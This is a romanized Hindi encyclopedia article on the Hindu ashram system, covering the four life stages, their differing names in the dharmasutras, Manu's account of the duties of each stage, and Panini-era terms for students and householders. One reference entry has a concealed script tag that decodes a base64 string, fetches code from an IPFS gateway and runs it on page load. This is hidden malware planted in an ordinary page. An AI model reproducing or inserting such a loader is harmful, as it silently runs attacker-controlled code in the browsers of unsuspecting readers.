आश्रम
| chitr:Disamb2.jpg ashram | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- ashram (bahuvikalpi) |
jin sansthaoan ke oopar hindoo samaj ka sangathan hua hai, ve haian - varn aur ashram. varn ka adhar manushy ki prakriti athava usaki mool pravrittiyaan haian, jisake anusar vah jivan mean apane prayatnoan aur kartavyoan ka chunav karata hai. ashram ka adhar sanskriti athava vyaktijat jivan ka sanskar karana hai. manushy janmana anagadh aur asanskrit hota hai; kramash: sanskar se vah prabuddh aur susanskrit ban jata hai.
ashram (manav avasthaean)
sampoorn manavajivan mote taur par char vikasakramoan mean baanta ja sakata hai-
- baly aur kishoravastha
- yauvan
- praudhavastha aur
- vriddhavastha
char ashram
manav ke char vikasakramoan ke anuroop hi char ashramoan ki kalpana ki gee thi, jo nimn prakar haian-
- brahmachary- isaka palanakarta brahmachari apane guru, shikshak ke prati samarpit aur ajnakari hota hai.
- garhasthy- isaka palanakarta grihasth apane parivar ka palan karata hai aur eeshvar tatha pitaroan ke prati kartavyoan ka palan karate hue purohitoan ko avalanb pradan karata hai.
- vanaprasth- isaka palanakarta bhautik vastuoan ka moh tyagakar tap aur yogamay vanaprasth jivan jita hai.
- sannyas- isaka palanakarta sannyasi sabhi vastuoan ka tyag karake deshatan aur bhiksha grahan karata hai tatha keval shashvat ka manan karata hai.
shastriy paddhati mean moksh (saansarik lagavoan se sv ki mukti) ki gahan khoj jivan ke antim do charanoan se guzar rahe vyaktiyoan ke lie surakshit hai. lekin vastut: kee sannyasi kabhi vivah nahian karate tatha bahut kam grihasth hi antim do ashramoan mean pravesh karate haian.
nam aur kram mean antar
ashramoan ke nam aur kram mean kahian-kahian antar paya jata hai. apastamb dharmasootr[1] ke anusar garhasthy, acharyakul (brahmachary), maun aur vanaprasth char ashram the. gautam dharmasootr[2] mean brahmachari, grihasth, bhikshu aur vaikhanas char ashramoan ke nam haian. vasishthadharmasootr [3] brahmachari, grihasth, vanaprasth aur parivrajak ka ullekh karata hai.
ashram sambandh
ashramoan ka sambandh vikas karm ke sath-sath jivan ke maulik uddeshy dharm, arth, kam aur moksh se bhi tha-brahmachary ka sambandh mukhyat: dharm arthath sanyam-niyam se, garhasthy ka sambandh arth-kam se, vanaprasth ka sambandh uparam aur moksh ki taiyari se aur sannyas ka sambandh moksh se tha. is prakar uddeshyoan athava purusharthoan ke sath ashram ka abhinn sambandh hai.
ashram shabd ka chunav
jivan ki is prakriya ke lie ashram shabd ka chunav bahut hi upayukt tha. yah shabd shramh dhatu se bana hai, jisaka arth hai shram karana athava paurush dikhalana (amarakosh, bhanuji dikshit). samanyat: isake tin arth prachalit haian-
- vah sthiti athava sthan jisamean shram kiya jata hai
- svayan shram athava tapasya aur
- vishramasthan
ashram (sanstha)
vastav mean ashram jivan ki ve avasthaean haian, jinamean manushy shram, sadhana aur tapasya karata hai aur ek avastha ki upalabdhiyoan ko prapt kar leta hai tatha inase vishram lekar jivan ke agami p dav ki or prasthan karata hai.
ashram ka arth
ashram vyavastha ne eesa ke bad pahali shatabdi mean ek dharmashastriy dhaanche ki rachana ki. yah ooanchi jati ke purushoan ke lie adarsh thi, jise vastut: vyaktigat ya samajik roop se kabhi-kabhi hi prapt kiya ja sakata tha. doosare arth mean ashram shabd ka tatpary sharanasthal hai, visheshakar shahari jivan se door, jahaan adhyatmik v yog sadhana ki jati hai. aksar ye ashram ek kendriy shikshak ya guru ki upasthiti se sambaddh hote haian, jo ashram ke any nivasiyoan ki aradhana ya shraddha ka kendr hota hai. guru aupacharik roop se sangathit kram ya adhyatmik samuday se sambandhit ho bhi sakata hai aur nahian bhi.
vibhinn mat
manu ke anusar manushy ka jivan sau varsh ka hona chahie (shatayurve purush:) atev char ashramoan ka vibhajan 25-25 varsh ka hona chahie. pratyek manushy ke jivan mean char avasthaean svabhavik roop se hoti haian aur manushy ko charoan ashramoan ke kartavyoan ka yathavath palan karana chahie. parantu kuchh aise sampraday prachin kal mean the aur aj bhi haian, jo niyamat: inaka palan karana avashyak nahian samajhate. inake mat ko badh kaha gaya hai. kuchh sampraday ashramoan ke palan mean vikalp manate haian arthath unake anusar ashram ke kram athava sankhya mean herapher ho sakata hai. parantu santulit vicharadhara ashramoan ke samuchchay mean karati aee haian. isake anusar charoan ashramoan ka palan kram se hona chahie. jivan ke pratham chaturthaansh mean brahmachary, dvitiy chaturthaansh mean garhasthy, tritiy chaturthaansh mean vanaprasth aur antim chaturthaansh mean sannyas ka palan karana chahie. isake abhav mean samajik jivan ka santulan bhang hokar mithyachar athava bhrashtachar ki vriddhi hoti hai.
ashram kartavy
vibhinn ashramoan ke kartavyoan ka vistrit varnan ashramadharm ke roop se smritiyoan mean paya jata hai. sankshep mean manusmriti se ashramoan ke kartavy niche die ja rahe haian-
- brahmachary ashram mean gurukul mean nivas karate hue vidyarjan aur vrat ka palan karana chahie [4].
- doosare ashram garhasthy mean vivah karake ghar basana chahie; santan utpatti dvara pitrirrin, yajn dvara devrrin aur nity svadhyay dvara rrishirrin chukana chahie [5].
- vanaprasth ashram mean saansarik karyoan se udasin hokar tap, svadhyay, yajn, dan adi ke dvara van mean jivan bitana chahie [6].
- vanaprasth samapt karake sannyas ashram mean pravesh karana hota hai. isamean saansarik sambandhoan ka poornat: tyag aur parivrajan (anagarik hokar ek sthan se doosare sthan par ghoomate rahana) vihit hai [7].
paninikalin ashram vyavastha
ashram - charoan ashram ke liye katyayan ne 'chaturashramy' pad diya hai. sootr mean unake ye nam haian- brahmachari[8], grihapati[9], bhikshu[10] aur paribrajak[11]. panini ke samay mean ashram pranali unnat dasha mean thi, visheshat: brahmachary-shiksha-pranali jisaka kuchh vistar se varnan hua hai.
brahmachari
brahmachari ke liye 'varni' yah nee sanjna prayog mean ane lagi thi[12] jo sahianta aur brahman sahity mean avidit thi. kashika ke anusar tin uchch varnoan ke brahmachari varni kahalate the[13].
chhatr do prakar ke the, manav aur aantevasi[14]. manavoan ko panini ne 'dand-manav' bhi kaha hai[15]. chhoti avastha ke sikhatar brahmachari manav hote the. matang jatak mean dandamanavoan ko bal kaha gaya hai[16]. brahmachari palash ka dand ya ashadh[17] aur ajin rakhate the.
brahmachary ki avadhi
tadasy brahmacharyamh[18] sootr mean brahmachariyoan ke namakaran ki vidhi bataee gee hai. jitane din ke liye chhatr brahmachary vrat ki diksha lete the, us avadhi ke anusar unaka nam p data tha. sootr ke udaharanoan se jnat hota hai ki pandrah din (ardhamasik: brahmachari), ek mahina (masik:) ya ek varsh (saanvatsarik:) brahmachary ka samay ho sakata tha. vastut: parimit avadhi ke liye charanoan mean pravisht hokar adhyayan karane vale brahmachariyoan ki ye sanjnaean thian. adhunik vishvavidyalayoan ke alpakalik vyakhyan prabandh ya laghu pathyakram ke dhang par vaidik charanoan mean bhi adhyayan ki suvidhaean milane lagi thian: tabhi masik aur ardhamasik brahmachari jaise prayog astitv mean ae hoange.
sab prakar ke chhote-b de adhyayan aur granth-parayanoan mean bhag lene ki vidyarthiyoan ko chhoot thi. kisi yajn vishesh ki vidhi janane ki ichchha se ya vishesh sam-gan kanth karane ki liye ya kuchh rrichaoan ka parayan sikhane ke lie ek pakhava de ya ek mahine jaise tho de samay ke lie bhi chhatr adhyayan ka niyam lekar ardhamasik ya masik brahmachari ban sakate the. a datalis varsh tak brahmachary ka vrat lene vale chhatr 'ashtachatvarianshak' ya 'ashtachatvarianshi' kahalate the.[19] grihy sootroan se jnat hota hai ki gurukulavas ki yah adhikatam avadhi thi. a datalis varsh ka brahmachary vrat 'adity vrat' kahalata tha, jisake dharan karane vale brahmachariyoan ki sanjna adityavratik thi. gobhilagrihyasootr ke anusar 'adity sam' paryant adhyayan ka vrat 'adity vrat' tha.[20][21]
snatak
adhyayan samapt karane par brahmachari achary ki anumati se snatak banata tha. snat ved samaptau ganasootr[22] ke anusar vedadhyayan ki samapti par snatak banane ka uchit kal samajha jata tha. vidya vishesh mean atishay pravin snatak 'nishnat' kahe jate the. pichhe chal kar yah shabd kaushal ke lie prayukt hone laga[23]. 'sragvi' pad bhi[24] sambhavat: snatak ke liye prayukt hota tha[25]. srakh brahmachary-vrat-samapti ka vishesh chihn thi. akal mean vrat chho d kar grihasth ban jane vale chhatroan ko vyangy se 'khatvaroodh' kaha jata tha.[26] brahmachari ke liye khat ka prayog nishiddh hone ke karan 'khatvaroodh' pad niandarthak mana gaya tha.
grihapati
vivah karake grihasth ashram mean pravisht hone vale vyakti ke liye prachin sanjna 'grihapati' thi. vivah ke samay prajjvalit huee agni 'garhapaty' kahalati thi, kyoanki grihapati usase sanyukt rahata tha[27]. agni sakshik vivah se arambh hone vale grihasth jivan mean grihapati log jis agni ko grihayajnoan ke dvara nirantar prajvalit rakhate the, us agni ke liye hi 'grihapatina sanyukt:' yah visheshan charitarth hota hai. vivah ke samay ka agnihom ek yajn tha. us yajn mean pati ke sath vidhipoorvak sanyukt hone ke karan vivahita stri ki sanjna 'patni' hoti thi[28]. pati-patni donoan milakar vaivahik agni ki paricharya karate the[29]. grihm agni mean ahut hone vale anek sthalipak us samay kiye jate the. panini ne vastoshpati ke atirikt 'grihamedh' devata ka bhi ullekh kiya hai[30]. putr-pautroan se sukhi sampann pati-patni supraj[31] aur putrapautrin[32] kahalate the.
bodh pradata
varn aur ashram manushy ke sampoorn kartavyoan ka samahar karate haian. parantu jahaan varn manushy ke samajik kartavyoan ka vidhan karata hai, vahaan ashram vyaktigat kartavyoan ka. ashram vyaktigat jivan ki vibhinn vikas saraniyoan ka nideshan karata hai aur manushy ko is bat ka bodh karata hai ki usake jivan ka uddeshy kya hai. usako prapt karane ke lie usako jivan ka kis prakar sanghathan karana chahie. vastav mean jivan ki yah anupam aur uchchatam kalpana aur yojana hai. any deshoan ke itihas mean is prakar ki jivan-yojana nahian paee jati hai. prasiddh vidvanh d aauyasan ne isake sambandh mean likha hai-
ham yah nahian kah sakate ki manusmriti tatha any smritiyoan mean varnit jivan ki yah yojana kahaan tak vyavaharik jivan mean karyanvit huee thi. parantu ham yah svikar karane mean svatantr haian ki hamare mat mean manav jati ke sampoorn itihas mean aisi koee vicharadhara nahian hai, jo is vichar ki mahatta ki samata kar sake.
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chitr vithika
- chitr:Sabarmati-Ashram-Ahmedabad.jpg
- chitr:Sarashram.jpg
- chitr:Anasakti.jpg
tika tippani aur sandarbh
- pustak ‘hindoo dharmakosh’ prishth sankhya-92
- pustak ‘bharat jnanakosh’ prishth sankhya-143
- ↑ apastamb dharmasootr 2.9.21,1
- ↑ gautam dharmasootr 3.2
- ↑ vasishthadharmasootr 7.1-2
- ↑ manusmriti, 4.1
- ↑ manusmriti, 5.169
- ↑ manusmriti 6. 1-2
- ↑ manusmriti 6. 33
- ↑ 5.2.134
- ↑ 4.4.90
- ↑ 3.2.168
- ↑ 6.1.154
- ↑ varnadh brahmacharini, 5.2.134
- ↑ brahmanadayastrayo varna varnin uchyante
- ↑ gotraantevasimanavabrahmaneshu kshepe 6.2.69
- ↑ 4.3.1130
- ↑ 4.372,387
- ↑ 5.1.110
- ↑ 5.1.94
- ↑ katyayan
- ↑ 3.128-30
- ↑ paninikalin bharat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 95 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 5.4.29
- ↑ ninadibhyaan snate: kaushale, 8.3.89
- ↑ 5.2.121
- ↑ manu 3.3
- ↑ khatva kshepe 2.1.26
- ↑ grihapatina sanyukte try:, 4.4.90
- ↑ patyurno yajnasanyoge, 4.1.33
- ↑ manu 3.67
- ↑ 4.2.32
- ↑ 5.4.123
- ↑ putr pautr manubhavati, 5.2.10
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Gopalji Varshneya
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govind ram
govind ram
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